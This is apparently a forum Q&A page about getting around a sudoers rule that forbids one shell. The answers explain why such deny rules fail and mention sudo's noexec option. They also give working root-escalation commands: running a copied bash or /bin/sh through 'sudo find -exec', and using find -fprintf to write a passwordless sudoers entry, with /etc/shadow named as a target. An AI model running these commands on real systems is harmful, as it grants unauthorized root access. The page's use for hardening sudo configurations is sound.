some_admin_user    ALL=/some_path/some_bin       ALL, !/some_path/some_sh

How to bypass the above sudoers rule.


@wireghoul gives a simple solution.

However even if you prevent every shell on the machine:

cp /bin/bash /tmp/foo
chmod 777 /tmp/foo
sudo /bin/find / -exec /tmp/foo -i \;

The "noexec" functionality of sudo might help a bit. (https://linux.die.net/man/5/sudoers )

However I expect it is possible to trick find into writing whatever you want to any file (using -fprintf ), so I suspect a multi-step attack is possible, overwriting /etc/shadow or /etc/sudoers:

find / -fprintf /tmp/sudoers "some_admin_user ALL= NOPASSWD: ALL\n" -prune

Never execs anything.

| improve this answer | |

sudo /bin/find / -type f -exec /bin/sh -i \;

| improve this answer | |

Not the answer you're looking for? Browse other questions tagged or ask your own question.